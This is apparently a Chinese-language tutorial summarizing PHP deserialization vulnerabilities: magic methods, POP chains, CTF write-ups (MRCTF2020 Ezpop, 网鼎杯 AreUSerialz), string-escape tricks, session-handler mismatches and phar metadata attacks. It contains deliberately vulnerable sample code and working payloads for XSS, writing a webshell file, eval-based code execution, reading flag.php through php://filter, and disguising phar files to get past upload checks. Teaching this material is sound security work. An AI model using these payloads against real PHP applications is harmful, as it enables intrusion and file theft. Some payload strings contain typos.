前言 本文主要总结php反序列化漏洞。为了总结全面一点,文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发邮箱联系我删除。多有不合理之处,望大佬指点。
反序列化漏洞利用原理 在反序列化时,由于代码中出现了危险函数,导致我们可以通过调用方法来利用危险函数进行恶意攻击,造成代码执行,getshell等一系列不可控的后果。
反序列化 PHP序列化和反序列化主要是通过serialize 、unserialize 两个函数来分别实现,序列化就是将对象转换为可保存或传输的字符串的格式,反序列化就是把字符串格式恢复回原本的对象。在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
以下是一个php序列化的实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class DemoClass //定义一个DemoClass类 { public $name = 'DemoClass'; //定义一个name变量 public $sex = "man"; //定义一个sex变量 public $age = "7"; //定义一个age变量 } $example = new DemoClass(); //创建一个对象 $example->name ="John"; $example->sex = "Woman"; $example->age = "18" //修改其中属性的值 echo serialize($example) //返回序列化的结果 ?>
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 //序列化第一位的含义: String s:size:value; Integer i:value; Boolean b:value; (does not store "true" or "false", does store '1' or '0') Null N; Array a:size:{key definition;value definition;(repeated per element)} Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
访问控制 在面对对象编程的思想中,为了保证安全性,我们是不想让他人可以任意修改我们的类中的属性和方法的。这时就用到了访问控制。
访问控制的定义:
PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有): 公有的类成员可以在任何地方被访问。
protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有): 私有的类成员则只能被其定义所在的类访问。
这样,我们就可以限制其他用户,使其在类外无法修改类内的属性或方法。
魔术方法 如果使用访问控制把类中的属性和方法都一个个限制了,那我们建这个类如何来让别人使用呢?
在php中,有一种叫做”魔术方法“的东西,这些方法在特定的情况下会自动调用,不需要手动从外面调用。我们就可以利用魔术方法和访问控制来保证类的安全。
而在反序列化漏洞中,这些魔术方法也是我们利用的主要突破口。
下面是比较典型的PHP反序列化漏洞中可能会用到的魔法函数:
1 2 3 4 5 6 7 8 9 10 11 __destruct(类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。) __construct(类一执行就开始调用,其作用是拿来初始化一些值。) __toString(在对象当做字符串的时候会被调用。) __wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作) __sleep(在对象被序列化的过程中自动调用。sleep要加数组) __invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用) __get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法) __set(在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法) __call(当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息) __isset(方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!) __unset(方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)
反序列化漏洞 这里有一个最简单的实例:
1 2 3 4 5 6 7 8 9 10 <?php class A { var $test = "demo" ; function __destruct ( ) { echo $this ->test; } } $a = $_GET['test' ]; $a_unser = unserialize($a); ?>
构造:
1 test=O:1 :"A" :1 :{s:4 :"test" ;s:28 :"<img src=1 onerror=alert(1)>" ;}
这样就利用__destruct()造成了XSS。当然结合实际环境可以造成更大的危害。
利用点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class a { var $test = '123' ; function __wakeup ( ) { $fp=fopen("shell.php" ,"w" ); fwrite($fp,$this ->test); fclose($fp); } } $class=$_GET['test' ]; echo $class;echo "<br>" ;$class_unser=unserialize($class); require "shell.php" ; ?>
基本的思路是,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo();?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class a{ var $test = '123'; function __wakeup(){ $fp=fopen("shell.php","w"); fwrite($fp,$this->test); fclose($fp); } } $class2=new a(); $class2->test="<?php phpinfo();?>"; $class2_ser=serialize($class2); echo $class2_ser; ?>
结果如下:
O:1:”a”:1:{s:4:”test”;s:18:”<?php phpinfo();?>”;}
当我们传入的时候便触发了_wakeup,将一句话木马传入了shell.php中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class A { var $target; function __construct ( ) { $this ->target = new B; } function __destruct ( ) { $this ->target->action(); } } class B { function action ( ) { echo "action B" ; } } class C { var $test; function action ( ) { echo "action A" ; eval ($this ->test); } } unserialize($_GET['test' ]); ?>
这个例子中,class B和class C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class C的action方法,实现任意代码执行。
构造代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class A { var $target; function __construct ( ) { $this ->target = new C; $this ->target->test = "phpinfo();" ; } function __destruct ( ) { $this ->target->action(); } } class C { var $test; function action ( ) { echo "action C" ; eval ($this ->test); } } echo serialize(new A);?>
运行结果:
1 O:1 :"A" :1 :{s:6 :"target" ;0 :1 :"C" :1 {s:4 :"test" ;s:10 :"phpinfo();" ;}}
exp:
1 localhost/demo1.php?test=O:1:"A":1:{s:6:"target";0:1:"C":1{s:4:"test";s:10:"phpinfo();";}}
pop链 pop链,即把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数,通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
通俗点就是:当敏感函数不在魔术方法中,而是在一个类的普通方法中时,通过以可触发的魔术方法为起点,寻找同名函数或触发调用其他魔术方法,一步步传递,最终传递参数执行敏感函数。
举个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class lemon { protected $ClassObj; function __construct ( ) { $this ->ClassObj = new normal(); } function __destruct ( ) { $this ->ClassObj->action(); } } class normal { function action ( ) { echo "hello" ; } } class evil { private $data; function action ( ) { eval ($this ->data); } } unserialize($_GET['d' ]);
分析这个上述代码:
先找魔术方法__destruct(),lemon这个类本来是调用normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。
1 2 3 4 5 6 7 8 9 10 11 12 <?php class lemon { protected $ClassObj; function __construct ( ) { $this ->ClassObj = new evil(); } } class evil { private $data = "phpinfo();" ; } echo urlencode(serialize(new lemon()));echo "\n\r" ;
值得注意的是,protected $ClassObj = new evil();是不行的,还是需要通过__construct来实例化。
这类反序列化漏洞的利用关键就是找到从可调用的魔术方法到敏感函数的链条,其思路与python继承链进行模板注入很相似。
解题思路 通过例题来理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Test1 { protected $obj; function __construct ( ) { $this ->obj = new Test3; } function __toString ( ) { if (isset ($this ->obj)): return $this ->obj->Delete(); } } class Test2 { public $cache_file; function Delete ( ) { $file = “/var /www/html/cache/tmp/{$this ->cache_file}”; if (file_exists($file)){ @unlink($file); } return 'I am a evil Delete function' ; } } class Test3 { function Delete ( ) { return 'I am a safe Delete function' ; } } $user_data = unserialize($_GET['data' ]); echo $user_data;?>
一般我们先大概看一遍代码,找到可以造成漏洞的敏感函数。在这里很明显就是Test2中的Delete方法。我们想要调用Delete,就要靠Test2中的__tostring了。我们再利用__construct来给Test2实例化一个对象。至此我们就找到了完整的pop链了,大概这样:
test2.delete—>test1.__tostring()—>test1.__construct()new test2
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Test1 { function __construct ( ) { $this ->obj = new Test2; } } class Test2 { public $cache_file = 'xxxxxxxxxxxxx' ; function Delete ( ) { $file = “/var /www/html/cache/tmp/{$this ->cache_file}”; } $user_data = new Test1(); echo serialize($user_data);?>
[MRCTF2020]Ezpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class Modifier { protected $var; public function append ($value ) { include ($value); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function(); } }
不是很长,一个一个来分析吧。
1 2 3 4 5 6 7 8 9 class Modifier { protected $var; public function append ($value ) { include ($value); } public function __invoke ( ) { $this ->append($this ->var); } }
危险函数include在这里出现,可以通过value访问flag.php。这里有__invoke可以调用,要想办法把对象调用为函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
这里过滤了一堆,上面有__tostring,我们可以把$source赋一个类的值,这样就可以调用__tostring了。
1 2 3 4 5 6 7 8 9 10 11 class Test { public $p; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function(); } }
这里有__construct和__get,__get我们可以访问一个不存在的成员变量来调用。
大致的思路是:__wakeup自动调用,可以令source=new Show(),就可以调用__tostring了。__tostring又指向str里的source,可以让str=new Test(),这样Test里是没有source属性的,就可以调用__get。再令p=new Modifier,用函数的方法访问类来调用__invoke,最后利用var来获取flag.php中的内容。
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Modifier { protected $var = "php://filter/read=convert.base64-encode/resource=flag.php" ; } class Show { public $source; public $str; public function __construct ( ) { $this ->str = new Test(); } } class Test { public $p; public function __get ($key ) { $function = $this ->p; return $function(); } } $show = new Show(); $show->source = $show; $show->str->p = new Modifier(); echo urlencode(serialize($show));?>
[网鼎杯 2020 青龙组]AreUSerialz
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" );highlight_file(__FILE__ ); class FileHandler { protected $op; protected $filename; protected $content; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process ( ) { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string )$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s ) { echo "[Result]: <br>" ; echo $s; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )) return false ; return true ; } if (isset ($_GET{'str' })) { $str = (string )$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } }
找到的敏感函数是file_get_contents,在read方法里,可以利用来读取flag.php,然后寻找调用read的方法,process中有,条件是要让op为2,process可以被析构函数执行,但前面会把op赋值为1。这里的方法是利用弱比对,我们把op赋值为数字2,这样op==2返回true而op===2会返回false。以及后面is_valid函数会对传入的字符串进行ascii码范围的检查,32-125刚好是所有可见字符的范围,而上面我们说过,protect属性序列化会有\00,这是不可见字符,在这里会被return false,这里我们利用PHP7.1以上版本对属性类型不敏感的特性,用public来绕过。
1 2 3 4 5 6 7 8 9 10 <?php class FileHandler { public $op = 2 ; public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php' ; public $content; } $a = new FileHandler; echo serialize($a);?>
得到base64编码的flag。
字符逃逸 预备知识
php在反序列化时,对类中不存在的属性也进行反序列化
php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且根据长度判断内容
长度不对应时会报错
不符合序列化规则的代码部分不会被反序列化成功
e.g.
1 a:2:{i:0;s:7:"purplet";i:1;s:5:"aaaaa";}needless; \\needless就不会被反序列化到
原理 本质上就是自己通过构造payload满足了序列化规则,利用前面字符由于str_replace()而字符增多或减少,提前闭合,吞掉了后面的字符。
字符增加的逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function filter ($string ) { $filter = '/c/' ; return preg_replace($filter,'bbb' ,$string); } $username = 'purplet' ; $age = "10" ; $user = array ($username, $age); var_dump(serialize($user)); echo "<pre>" ;$r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
假如我们想要把age修改为19,那么我们需要构造的语句是“;i:1;s:2:“19”;},语句的长度为16个字符,当filter()函数执行的时候,会将一个a替换为三个b,这样就造成了字符增多的情况。如果我们构造8个c,那么会产生24个b,减去构造的8个c,就可以让我们逃逸16个字符,也就是我们构造的语句。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function filter ($string ) { $filter = '/c/' ; return preg_replace($filter,'bbb' ,$string); } $username = 'cccccccc";i:1;s:2:"19";}' ; $age = "10" ; $user = array ($username, $age); var_dump(serialize($user)); echo "<pre>" ;$r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
结果:
1 2 3 4 5 6 7 8 string(55) "a:2:{i:0;s:24:"cccccccc";i:1;s:2:"19";}";i:1;s:2:"10";}" string(71) "a:2:{i:0;s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";i:1;s:2:"19";}";i:1;s:2:"10";}" array(2) { [0]=> string(24) "bbbbbbbbbbbbbbbbbbbbbbbb" [1]=> string(2) "19" }
字符减少的逃逸 原理和字符增加的相同,假设有三个参数中有两个参数可控,通过一个参数的长度变短和另一个参数的调节来修改第三个参数的值 。
Session反序列化漏洞 PHP中的Session是在经序列化后存储,读取时再进行反序列化的。
相关配置:
配置
作用
session.save_handler=””
设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数。(数据库等方式)
session.save_path=””
设置session的存储路径。
session.auto_start boolen
指定会话模块是否在请求开始时启动一个会话。(默认为0不启动)
session.serialize_handler string
定义用来序列化/反序列化的处理器名字。(默认使用php)
PHP中有三种序列化处理器,如下表所示:
然后session序列化后需要储存在服务器上,默认的方式是储存在文件中,储存路径在session.save_path中,如果没有规定储存路径,那么默认会在储存在/tmp中,文件的名称是’sess_’+session名,文件中储存的是序列化后的session。
示例代码:
该内容存储后即为序列化的session:test|s:4:"test";
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。
下面演示漏洞利用:
该页面有类demo3,我们开启session,并用php处理器来处理session。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php ini_set("session.serialize_handle" ,"php" ); session_start(); class demo3 { var $test = 'test' ; function __wakeup ( ) { echo 'wakeup!<br/>' ; } function __destruct ( ) { echo $this ->test; } } ?>
通过session.php设置session,通过generate.php构造实例。
由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php ini_set('session.serialize_handler' ,'php_serialize' ); session_start(); $_SESSION['test' ] = $_GET['test' ]; echo session_id();?> <?php class demo3 { var $test = "w2t3rp2dd13r" ; } echo serialize(new demo3);?>
访问得到实例的序列化:
1 O:5:"demo3":1:{s:4:"test";s:3:"w2t3rp2dd13r";}
要在serialize()的结果前加|,当使用php处理器时,就会把|后的内容给反序列化,从而调用demo3.php中的__wakeup()方法和__destruct()方法。
payload:
1 |O:5:"demo3":1:{s:4:"test";s:3:"w2t3rp2dd13r";}
访问demo3.php成功创建了一个类demo3的实例。
phar实现php反序列化 phar(PHp ARchive)的解释是:like a Java JAR,but for PHP. 所以它本身其实是一个打包文件,是伪协议中的一种,和反序列化好像没有什么联系。
然而在2018年8月,安全研究员 Sam Thomas 在 BlackHat2018大会 上分享了议题:It’s a PHP unserialization vulnerability Jim, but not as we know it. 其利用phar 伪协议会将用户自定义的meta-data 序列化的形式存储这一特性,扩展了php反序列化的攻击面。
因此,我们是可以利用phar来实现php的反序列化的。用户自定义的meta-data会以序列化形式存储在phar文件中的manifest部分;当使用phar://协议来解析phar文件时,便会对phar文件中的manifest部分进行反序列化。
攻击原理 phar结构 phar由四个部分组成。
1 2 3 4 5 6 7 8 9 10 11 1.stub phar 扩展识别的标志 格式为 xxx<?php xxx; __HALT_COMPILER();?> 只有结尾是__HALT_COMPILER();?>才会被php识别为是一个phar。 2.manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。 3.contents 压缩文件的内容 4.signature 文件的签名内容
phar文件生成 我们来自己构建一个phar文件,php内置了一个Phar类。 注意:需要将php.ini中的phar.readonly设置成off。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Evil { protected $val; function __construct ($val ) { $this ->val = $val; } function __wakeup ( ) { assert($this ->val); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php require_once ('Evil.class.php' );$exception = new Evil('phpinfo()' ); $phar = new Phar("vul.phar" ); $phar->startBuffering(); $phar->addFromString("test.txt" , "test" ); $phar->setStub("<?php__HALT_COMPILER(); ?>" ); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
然后我们用二进制编辑器打开生成文件,如下图:
可以看到其中的一段序列化文本,就是meta-data序列化的结果。
phar://反序列化那么,如何利用phar://进行反序列化呢?
使用phar://伪协议读取文件的时候,文件会被解析成phar对象,这个时候,刚才那部分的序列化的信息就会被反序列化。
1 2 3 4 5 6 7 8 9 <?php require_once ('Evil.class.php' );if ( file_exists($_REQUEST['url' ]) ) { echo 'success!' ; } else { echo 'error!' ; } ?>
访问test.php, http://127.0.0.1/test.php?url=phar://vul.phar,得下图:
漏洞的简单利用 在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,即__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。采用这种方法可以绕过很大一部分上传检测。
下面这道题目就利用了这个漏洞:
我们写一个php来建一个phar。
1 2 3 4 5 6 7 8 9 10 11 <?php class funny {} $exception = new funny(); $phar = new Phar("flag.phar" ); $phar->startBuffering(); $phar->setStub("<?php__HALT_COMPILER(); ?>" ); $phar->setMetadata($exception); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering(); ?>
php文件系统大部分函数再通过phar://解析时,会对meta-data反序列化,从而达到我们的目的。
访问该php得到了flag.php。
进linux对phar进行cat发现是乱码,原来是因为phar是一个data文件。其原因是data会被base64解密一次,只要再data加密就可以cat了。
我们再对其进行urlencode,防止加号被吃,然后就可以上传了。
我们得到了txt文件,问了大佬才知道只要是phar://协议解析,后缀是什么都无所谓,我之前甚至都没有想过这个问题。。。
然后我们就拿到flag啦。
我们得到了txt文件,因为这里的后缀.txt是不会影响反序列化操作的,我们就成功拿到flag啦。
后记 phar的知识现在已经有很多了,也很值得去深挖,自己还只是会了一点表面,需要更加深入的研究。